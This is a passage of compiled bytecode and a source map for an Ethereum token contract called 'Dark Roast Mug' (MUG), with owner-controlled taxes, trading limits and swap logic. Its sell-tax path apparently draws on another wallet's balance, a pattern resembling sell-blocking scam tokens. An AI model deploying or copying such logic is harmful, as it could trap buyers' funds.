261156b565b9250505090565b600061135783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611758565b600c541580156115bd5750600d54155b156115c457565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115ee8988611786565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162090876114d8565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461164f9086611817565b6001600160a01b03891660009081526002602052604090205561167181611876565b61167b84836118c0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116c091815260200190565b60405180910390a3505050505050505050565b6006546000908190816116e86009600a611ca1565b6116f79064e8d4a51000611cb0565b90506117206117086009600a611ca1565b6117179064e8d4a51000611cb0565b6006549061156b565b82101561174f576006546117366009600a611ca1565b6117459064e8d4a51000611cb0565b9350935050509091565b90939092509050565b600081836117795760405162461bcd60e51b81526004016105269190611a0b565b5060006112fd8486611e11565b60008060008060008060008060006117a38a600c54600d546118e4565b92509250925060006117b3611548565b905060008060006117c68e878787611939565b925092509250601160009054906101000a90046001600160a01b03166001600160a01b03168f6001600160a01b0316036117ff57600092505b919e909d50909b509399509197509550909350505050565b6000806118248385611d64565b9050838110156113575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610526565b6000611880611548565b9050600061188e8383611989565b306000908152600260205260409020549091506118ab9082611817565b30600090815260026020526040902055505050565b6006546118cd90836114d8565b6006556007546118dd9082611817565b6007555050565b60008080806118fe60646118f88989611989565b9061156b565b9050600061191160646118f88a89611989565b90506000611929826119238b866114d8565b906114d8565b9992985090965090945050505050565b60008080806119488886611989565b905060006119568887611989565b905060006119648888611989565b905060006119768261192386866114d8565b939b939a50919850919650505050505050565b60008260000361199b5750600061046b565b60006119a78385611cb0565b9050826119b48583611e11565b146113575760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610526565b600060208083528351808285015260005b81811015611a3857858101830151858201604001528201611a1c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461059557600080fd5b60008060408385031215611a8157600080fd5b8235611a8c81611a59565b946020939093013593505050565b600080600060608486031215611aaf57600080fd5b8335611aba81611a59565b92506020840135611aca81611a59565b929592945050506040919091013590565b801515811461059557600080fd5b600060208284031215611afb57600080fd5b813561135781611adb565b600060208284031215611b1857600080fd5b813561135781611a59565b600060208284031215611b3557600080fd5b5035919050565b60008060008060808587031215611b5257600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611b8157600080fd5b8235611b8c81611a59565b91506020830135611b9c81611a59565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611bf8578160001904821115611bde57611bde611ba7565b80851615611beb57918102915b93841c9390800290611bc2565b509250929050565b600082611c0f5750600161046b565b81611c1c5750600061046b565b8160018114611c325760028114611c3c57611c58565b600191505061046b565b60ff841115611c4d57611c4d611ba7565b50506001821b61046b565b5060208310610133831016604e8410600b8410161715611c7b575081810a61046b565b611c858383611bbd565b8060001904821115611c9957611c99611ba7565b029392505050565b600061135760ff841683611c00565b808202811582820484141761046b5761046b611ba7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d0e57600080fd5b815161135781611a59565b600080600060608486031215611d2e57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d5957600080fd5b815161135781611adb565b8082018082111561046b5761046b611ba7565b8181038181111561046b5761046b611ba7565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611df05784516001600160a01b031683529383019391830191600101611dcb565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e2e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f5b4e5be3c5a40a6391b2884999395dfe1ef587d0029b93b408f78427195d0c64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063715018a6116100b6578063a2a957bb1161006f578063a2a957bb14610397578063a9059cbb146103b7578063c3c8cd80146103d7578063c9567bf9146103ec578063dd62ed3e146103f4578063f2fde38b1461043a57600080fd5b8063715018a6146102ed578063751039fc146103025780638da5cb5b146103175780638f9a55c01461033557806395d89b411461034b57806398a5c3151461037757600080fd5b80632fd689e3116101085780632fd689e314610244578063313ce5671461025a57806349bd5a5e146102765780636d8aa8f8146102965780636fc3eaec146102b857806370a08231146102cd57600080fd5b806306fdde0314610150578063095ea7b3146101995780631694505e146101c957806318160ddd1461020157806323b872dd1461022457600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600e81526d4461726b20526f617374204d756760901b60208201525b6040516101909190611a0b565b60405180910390f35b3480156101a557600080fd5b506101b96101b4366004611a6e565b61045a565b6040519015158152602001610190565b3480156101d557600080fd5b506012546101e9906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b34801561020d57600080fd5b50610216610471565b604051908152602001610190565b34801561023057600080fd5b506101b961023f366004611a9a565b610493565b34801561025057600080fd5b5061021660155481565b34801561026657600080fd5b5060405160098152602001610190565b34801561028257600080fd5b506013546101e9906001600160a01b031681565b3480156102a257600080fd5b506102b66102b1366004611ae9565b6104fc565b005b3480156102c457600080fd5b506102b661054d565b3480156102d957600080fd5b506102166102e8366004611b06565b610598565b3480156102f957600080fd5b506102b66105ba565b34801561030e57600080fd5b506102b661062e565b34801561032357600080fd5b506000546001600160a01b03166101e9565b34801561034157600080fd5b5061021660145481565b34801561035757600080fd5b506040805180820190915260038152624d554760e81b6020820152610183565b34801561038357600080fd5b506102b6610392366004611b23565b61066c565b3480156103a357600080fd5b506102b66103b2366004611b3c565b61069b565b3480156103c357600080fd5b506101b96103d2366004611a6e565b61084f565b3480156103e357600080fd5b506102b661085c565b6102b66108b0565b34801561040057600080fd5b5061021661040f366004611b6e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561044657600080fd5b506102b6610455366004611b06565b610c37565b6000610467338484610d21565b5060015b92915050565b600061047f6009600a611ca1565b61048e9064e8d4a51000611cb0565b905090565b60006104a0848484610e45565b6104f284336104ed85604051806060016040528060288152602001611e34602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112cc565b610d21565b5060019392505050565b6000546001600160a01b0316331461052f5760405162461bcd60e51b815260040161052690611cc7565b60405180910390fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6010546001600160a01b0316336001600160a01b0316148061058257506011546001600160a01b0316336001600160a01b0316145b61058b57600080fd5b4761059581611306565b50565b6001600160a01b03811660009081526002602052604081205461046b90611340565b6000546001600160a01b031633146105e45760405162461bcd60e51b815260040161052690611cc7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106585760405162461bcd60e51b815260040161052690611cc7565b6d314dc6448d9338c15b0a00000000601455565b6000546001600160a01b031633146106965760405162461bcd60e51b815260040161052690611cc7565b601555565b6000546001600160a01b031633146106c55760405162461bcd60e51b815260040161052690611cc7565b60038411156107245760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420332560d81b6064820152608401610526565b600582111561077f5760405162461bcd60e51b815260206004820152602160248201527f42757920746178206d757374206265206265747765656e20302520616e6420356044820152602560f81b6064820152608401610526565b60038311156107df5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420332560d01b6064820152608401610526565b600581111561083b5760405162461bcd60e51b815260206004820152602260248201527f53656c6c20746178206d757374206265206265747765656e20302520616e6420604482015261352560f01b6064820152608401610526565b600893909355600a91909155600955600b55565b6000610467338484610e45565b6010546001600160a01b0316336001600160a01b0316148061089157506011546001600160a01b0316336001600160a01b0316145b61089a57600080fd5b60006108a530610598565b90506105958161135e565b6000546001600160a01b031633146108da5760405162461bcd60e51b815260040161052690611cc7565b601354600160a01b900460ff16156109345760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610526565b6013805460ff60a01b1916600160a01b179055601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156109ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d09190611cfc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a419190611cfc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab29190611cfc565b601380546001600160a01b0319166001600160a01b03928316179055306000818152600460209081526040808320601280548716855292529091206d314dc6448d9338c15b0a000000009055549091169063f305d719903490610b1481610598565b600080610b296000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b91573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bb69190611d19565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c339190611d47565b5050565b6000546001600160a01b03163314610c615760405162461bcd60e51b815260040161052690611cc7565b6001600160a01b038116610cc65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610526565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d835760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610526565b6001600160a01b038216610de45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610526565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610526565b6001600160a01b038216610f0b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610526565b60008111610f6d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610526565b6000546001600160a01b03848116911614801590610f9957506000546001600160a01b03838116911614155b8015610fae57506001600160a01b0383163014155b8015610fc357506001600160a01b0382163014155b156111a957601354600160a01b900460ff1661105c576000546001600160a01b0384811691161461105c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610526565b6013546001600160a01b038381169116146110e1576014548161107e84610598565b6110889190611d64565b106110e15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610526565b60006110ec30610598565b6015549091508110801590819061110d5750601354600160a81b900460ff16155b801561112757506013546001600160a01b03868116911614155b801561113c5750601354600160b01b900460ff165b801561116157506001600160a01b03851660009081526005602052604090205460ff16155b801561118657506001600160a01b03841660009081526005602052604090205460ff16155b156111a6576111948261135e565b4780156111a4576111a447611306565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111eb57506001600160a01b03831660009081526005602052604090205460ff165b8061121d57506013546001600160a01b0385811691161480159061121d57506013546001600160a01b03848116911614155b1561122a575060006112ba565b6013546001600160a01b03858116911614801561125557506012546001600160a01b03848116911614155b1561126757600854600c55600954600d555b6013546001600160a01b03848116911614801561129257506012546001600160a01b03858116911614155b156112ba57601154600a546112b0916001600160a01b0316316114d8565b600c55600b54600d555b6112c68484848461151a565b50505050565b600081848411156112f05760405162461bcd60e51b81526004016105269190611a0b565b5060006112fd8486611d77565b95945050505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610c33573d6000803e3d6000fd5b60008061134b611548565b9050611357838261156b565b9392505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113a6576113a6611d8a565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114239190611cfc565b8160018151811061143657611436611d8a565b6001600160a01b03928316602091820292909201015260125461145c9130911684610d21565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611495908590600090869030904290600401611da0565b600060405180830381600087803b1580156114af57600080fd5b505af11580156114c3573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b600061135783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112cc565b80611527576115276115ad565b6115328484846115db565b806112c6576112c6600e54600c55600f54600d55565b60008060006115556116d3565b9092509050611564828261156b565b9250505090565b600061135783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611758565b600c541580156115bd5750600d54155b156115c457565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115ee8988611786565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162090876114d8565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461164f9086611817565b6001600160a01b03891660009081526002602052604090205561167181611876565b61167b84836118c0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116c091815260200190565b60405180910390a3505050505050505050565b6006546000908190816116e86009600a611ca1565b6116f79064e8d4a51000611cb0565b90506117206117086009600a611ca1565b6117179064e8d4a51000611cb0565b6006549061156b565b82101561174f576006546117366009600a611ca1565b6117459064e8d4a51000611cb0565b9350935050509091565b90939092509050565b600081836117795760405162461bcd60e51b81526004016105269190611a0b565b5060006112fd8486611e11565b60008060008060008060008060006117a38a600c54600d546118e4565b92509250925060006117b3611548565b905060008060006117c68e878787611939565b925092509250601160009054906101000a90046001600160a01b03166001600160a01b03168f6001600160a01b0316036117ff57600092505b919e909d50909b509399509197509550909350505050565b6000806118248385611d64565b9050838110156113575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610526565b6000611880611548565b9050600061188e8383611989565b306000908152600260205260409020549091506118ab9082611817565b30600090815260026020526040902055505050565b6006546118cd90836114d8565b6006556007546118dd9082611817565b6007555050565b60008080806118fe60646118f88989611989565b9061156b565b9050600061191160646118f88a89611989565b90506000611929826119238b866114d8565b906114d8565b9992985090965090945050505050565b60008080806119488886611989565b905060006119568887611989565b905060006119648888611989565b905060006119768261192386866114d8565b939b939a50919850919650505050505050565b60008260000361199b5750600061046b565b60006119a78385611cb0565b9050826119b48583611e11565b146113575760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610526565b600060208083528351808285015260005b81811015611a3857858101830151858201604001528201611a1c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461059557600080fd5b60008060408385031215611a8157600080fd5b8235611a8c81611a59565b946020939093013593505050565b600080600060608486031215611aaf57600080fd5b8335611aba81611a59565b92506020840135611aca81611a59565b929592945050506040919091013590565b801515811461059557600080fd5b600060208284031215611afb57600080fd5b813561135781611adb565b600060208284031215611b1857600080fd5b813561135781611a59565b600060208284031215611b3557600080fd5b5035919050565b60008060008060808587031215611b5257600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611b8157600080fd5b8235611b8c81611a59565b91506020830135611b9c81611a59565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611bf8578160001904821115611bde57611bde611ba7565b80851615611beb57918102915b93841c9390800290611bc2565b509250929050565b600082611c0f5750600161046b565b81611c1c5750600061046b565b8160018114611c325760028114611c3c57611c58565b600191505061046b565b60ff841115611c4d57611c4d611ba7565b50506001821b61046b565b5060208310610133831016604e8410600b8410161715611c7b575081810a61046b565b611c858383611bbd565b8060001904821115611c9957611c99611ba7565b029392505050565b600061135760ff841683611c00565b808202811582820484141761046b5761046b611ba7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d0e57600080fd5b815161135781611a59565b600080600060608486031215611d2e57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d5957600080fd5b815161135781611adb565b8082018082111561046b5761046b611ba7565b8181038181111561046b5761046b611ba7565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611df05784516001600160a01b031683529383019391830191600101611dcb565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e2e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f5b4e5be3c5a40a6391b2884999395dfe1ef587d0029b93b408f78427195d0c64736f6c63430008120033

Deployed Bytecode Sourcemap

4274:13091:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6282:83;;;;;;;;;;-1:-1:-1;6352:5:0;;;;;;;;;;;;-1:-1:-1;;;6352:5:0;;;;6282:83;;;;;;;:::i;:::-;;;;;;;;7214:193;;;;;;;;;;-1:-1:-1;7214:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7214:193:0;1023:187:1;5526:41:0;;;;;;;;;;-1:-1:-1;5526:41:0;;;;-1:-1:-1;;;;;5526:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5526:41:0;1215:229:1;6562:95:0;;;;;;;;;;;;;:::i;:::-;;;1595:25:1;;;1583:2;1568:18;6562:95:0;1449:177:1;7416:446:0;;;;;;;;;;-1:-1:-1;7416:446:0;;;;;:::i;:::-;;:::i;5774:50::-;;;;;;;;;;;;;;;;6470:83;;;;;;;;;;-1:-1:-1;6470:83:0;;4511:1;2234:36:1;;2222:2;2207:18;6470:83:0;2092:184:1;5574:28:0;;;;;;;;;;-1:-1:-1;5574:28:0;;;;-1:-1:-1;;;;;5574:28:0;;;16444:101;;;;;;;;;;-1:-1:-1;16444:101:0;;;;;:::i;:::-;;:::i;:::-;;11782:235;;;;;;;;;;;;;:::i;6666:138::-;;;;;;;;;;-1:-1:-1;6666:138:0;;;;;:::i;:::-;;:::i;1747:148::-;;;;;;;;;;;;;:::i;16555:80::-;;;;;;;;;;;;;:::i;1531:79::-;;;;;;;;;;-1:-1:-1;1569:7:0;1596:6;-1:-1:-1;;;;;1596:6:0;1531:79;;5718:49;;;;;;;;;;;;;;;;6374:87;;;;;;;;;;-1:-1:-1;6446:7:0;;;;;;;;;;;;-1:-1:-1;;;6446:7:0;;;;6374:87;;16252:139;;;;;;;;;;-1:-1:-1;16252:139:0;;;;;:::i;:::-;;:::i;15512:687::-;;;;;;;;;;-1:-1:-1;15512:687:0;;;;;:::i;:::-;;:::i;6813:199::-;;;;;;;;;;-1:-1:-1;6813:199:0;;;;;:::i;:::-;;:::i;11537:236::-;;;;;;;;;;;;;:::i;16643:719::-;;;:::i;7021:184::-;;;;;;;;;;-1:-1:-1;7021:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7170:18:0;;;7138:7;7170:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7021:184;1904:244;;;;;;;;;;-1:-1:-1;1904:244:0;;;;;:::i;:::-;;:::i;7214:193::-;7316:4;7338:39;360:10;7361:7;7370:6;7338:8;:39::i;:::-;-1:-1:-1;7395:4:0;7214:193;;;;;:::o;6562:95::-;6615:7;4846:13;4511:1;4846:2;:13;:::i;:::-;4835:24;;:8;:24;:::i;:::-;6635:14;;6562:95;:::o;7416:446::-;7548:4;7565:36;7575:6;7583:9;7594:6;7565:9;:36::i;:::-;7612:220;7635:6;360:10;7683:138;7739:6;7683:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7683:19:0;;;;;;:11;:19;;;;;;;;360:10;7683:33;;;;;;;;;;:37;:138::i;:::-;7612:8;:220::i;:::-;-1:-1:-1;7850:4:0;7416:446;;;;;:::o;16444:101::-;1659:6;;-1:-1:-1;;;;;1659:6:0;360:10;1659:22;1651:67;;;;-1:-1:-1;;;1651:67:0;;;;;;;:::i;:::-;;;;;;;;;16511:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;16511:26:0::1;-1:-1:-1::0;;;;16511:26:0;;::::1;::::0;;;::::1;::::0;;16444:101::o;11782:235::-;11848:19;;-1:-1:-1;;;;;11848:19:0;360:10;-1:-1:-1;;;;;11832:35:0;;:72;;;-1:-1:-1;11887:17:0;;-1:-1:-1;;;;;11887:17:0;360:10;-1:-1:-1;;;;;11871:33:0;;11832:72;11824:81;;;;;;11945:21;11977:32;11945:21;11977:12;:32::i;:::-;11813:204;11782:235::o;6666:138::-;-1:-1:-1;;;;;6779:16:0;;6732:7;6779:16;;;:7;:16;;;;;;6759:37;;:19;:37::i;1747:148::-;1659:6;;-1:-1:-1;;;;;1659:6:0;360:10;1659:22;1651:67;;;;-1:-1:-1;;;1651:67:0;;;;;;;:::i;:::-;1854:1:::1;1838:6:::0;;1817:40:::1;::::0;-1:-1:-1;;;;;1838:6:0;;::::1;::::0;1817:40:::1;::::0;1854:1;;1817:40:::1;1885:1;1868:19:::0;;-1:-1:-1;;;;;;1868:19:0::1;::::0;;1747:148::o;16555:80::-;1659:6;;-1:-1:-1;;;;;1659:6:0;360:10;1659:22;1651:67;;;;-1:-1:-1;;;1651:67:0;;;;;;;:::i;:::-;4785:8:::1;16607:14;:20:::0;16555:80::o;16252:139::-;1659:6;;-1:-1:-1;;;;;1659:6:0;360:10;1659:22;1651:67;;;;-1:-1:-1;;;1651:67:0;;;;;;;:::i;:::-;16343:19:::1;:40:::0;16252:139::o;15512:687::-;1659:6;;-1:-1:-1;;;;;1659:6:0;360:10;1659:22;1651:67;;;;-1:-1:-1;;;1651:67:0;;;;;;;:::i;:::-;15693:1:::1;15676:13;:18;;15646:90;;;::::0;-1:-1:-1;;;15646:90:0;;6329:2:1;15646:90:0::1;::::0;::::1;6311:21:1::0;6368:2;6348:18;;;6341:30;6407:34;6387:18;;;6380:62;-1:-1:-1;;;6458:18:1;;;6451:35;6503:19;;15646:90:0::1;6127:401:1::0;15646:90:0::1;15790:1;15775:11;:16;;15747:82;;;::::0;-1:-1:-1;;;15747:82:0;;6735:2:1;15747:82:0::1;::::0;::::1;6717:21:1::0;6774:2;6754:18;;;6747:30;6813:34;6793:18;;;6786:62;-1:-1:-1;;;6864:18:1;;;6857:31;6905:19;;15747:82:0::1;6533:397:1::0;15747:82:0::1;15889:1;15871:14;:19;;15840:93;;;::::0;-1:-1:-1;;;15840:93:0;;7137:2:1;15840:93:0::1;::::0;::::1;7119:21:1::0;7176:2;7156:18;;;7149:30;7215:34;7195:18;;;7188:62;-1:-1:-1;;;7266:18:1;;;7259:36;7312:19;;15840:93:0::1;6935:402:1::0;15840:93:0::1;15989:1;15973:12;:17;;15944:85;;;::::0;-1:-1:-1;;;15944:85:0;;7544:2:1;15944:85:0::1;::::0;::::1;7526:21:1::0;7583:2;7563:18;;;7556:30;7622:34;7602:18;;;7595:62;-1:-1:-1;;;7673:18:1;;;7666:32;7715:19;;15944:85:0::1;7342:398:1::0;15944:85:0::1;16042:14;:30:::0;;;;16083:15:::1;:32:::0;;;;16126:12:::1;:26:::0;16163:13:::1;:28:::0;15512:687::o;6813:199::-;6918:4;6940:42;360:10;6964:9;6975:6;6940:9;:42::i;11537:236::-;11603:19;;-1:-1:-1;;;;;11603:19:0;360:10;-1:-1:-1;;;;;11587:35:0;;:72;;;-1:-1:-1;11642:17:0;;-1:-1:-1;;;;;11642:17:0;360:10;-1:-1:-1;;;;;11626:33:0;;11587:72;11579:81;;;;;;11671:23;11697:24;11715:4;11697:9;:24::i;:::-;11671:50;;11732:33;11749:15;11732:16;:33::i;16643:719::-;1659:6;;-1:-1:-1;;;;;1659:6:0;360:10;1659:22;1651:67;;;;-1:-1:-1;;;1651:67:0;;;;;;;:::i;:::-;16713:11:::1;::::0;-1:-1:-1;;;16713:11:0;::::1;;;16712:12;16704:47;;;::::0;-1:-1:-1;;;16704:47:0;;7947:2:1;16704:47:0::1;::::0;::::1;7929:21:1::0;7986:2;7966:18;;;7959:30;8025:25;8005:18;;;7998:53;8068:18;;16704:47:0::1;7745:347:1::0;16704:47:0::1;16762:11;:18:::0;;-1:-1:-1;;;;16762:18:0::1;-1:-1:-1::0;;;16762:18:0::1;::::0;;16902:15:::1;:34:::0;;-1:-1:-1;;;;;;16902:34:0::1;16848:42;16902:34:::0;;::::1;::::0;;;16981:26:::1;::::0;;-1:-1:-1;;;16981:26:0;;;;16848:42;;16981:24:::1;::::0;:26:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;16848:42;16981:26:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16963:70:0::1;;17042:4;17049:16;-1:-1:-1::0;;;;;17049:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16963:110;::::0;-1:-1:-1;;;;;;16963:110:0::1;::::0;;;;;;-1:-1:-1;;;;;8583:15:1;;;16963:110:0::1;::::0;::::1;8565:34:1::0;8635:15;;8615:18;;;8608:43;8500:18;;16963:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16947:13;:126:::0;;-1:-1:-1;;;;;;16947:126:0::1;-1:-1:-1::0;;;;;16947:126:0;;::::1;;::::0;;17106:4:::1;-1:-1:-1::0;17086:26:0;;;:11:::1;:26;::::0;;;;;;;17121:15:::1;::::0;;;::::1;17086:52:::0;;;;;;;4785:8:::1;17086:58:::0;;17155:15;;;::::1;::::0;:31:::1;::::0;17194:9:::1;::::0;17219:24:::1;17106:4:::0;17219:9:::1;:24::i;:::-;17244:1;17246::::0;17248:7:::1;1569::::0;1596:6;-1:-1:-1;;;;;1596:6:0;;1531:79;17248:7:::1;17155:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;17155:117:0;;;-1:-1:-1;;;;;9021:15:1;;;17155:117:0::1;::::0;::::1;9003:34:1::0;9053:18;;;9046:34;;;;9096:18;;;9089:34;;;;9139:18;;;9132:34;9203:15;;;9182:19;;;9175:44;17256:15:0::1;9235:19:1::0;;;9228:35;8937:19;;17155:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;17290:13:0::1;::::0;17321:15:::1;::::0;17283:71:::1;::::0;-1:-1:-1;;;17283:71:0;;-1:-1:-1;;;;;17321:15:0;;::::1;17283:71;::::0;::::1;9759:51:1::0;-1:-1:-1;;9826:18:1;;;9819:34;17290:13:0;::::1;::::0;-1:-1:-1;17283:29:0::1;::::0;9732:18:1;;17283:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;16693:669;16643:719::o:0;1904:244::-;1659:6;;-1:-1:-1;;;;;1659:6:0;360:10;1659:22;1651:67;;;;-1:-1:-1;;;1651:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1993:22:0;::::1;1985:73;;;::::0;-1:-1:-1;;;1985:73:0;;10316:2:1;1985:73:0::1;::::0;::::1;10298:21:1::0;10355:2;10335:18;;;10328:30;10394:34;10374:18;;;10367:62;-1:-1:-1;;;10445:18:1;;;10438:36;10491:19;;1985:73:0::1;10114:402:1::0;1985:73:0::1;2095:6;::::0;;2074:38:::1;::::0;-1:-1:-1;;;;;2074:38:0;;::::1;::::0;2095:6;::::1;::::0;2074:38:::1;::::0;::::1;2123:6;:17:::0;;-1:-1:-1;;;;;;2123:17:0::1;-1:-1:-1::0;;;;;2123:17:0;;;::::1;::::0;;;::::1;::::0;;1904:244::o;8438:369::-;-1:-1:-1;;;;;8565:19:0;;8557:68;;;;-1:-1:-1;;;8557:68:0;;10723:2:1;8557:68:0;;;10705:21:1;10762:2;10742:18;;;10735:30;10801:34;10781:18;;;10774:62;-1:-1:-1;;;10852:18:1;;;10845:34;10896:19;;8557:68:0;10521:400:1;8557:68:0;-1:-1:-1;;;;;8644:21:0;;8636:68;;;;-1:-1:-1;;;8636:68:0;;11128:2:1;8636:68:0;;;11110:21:1;11167:2;11147:18;;;11140:30;11206:34;11186:18;;;11179:62;-1:-1:-1;;;11257:18:1;;;11250: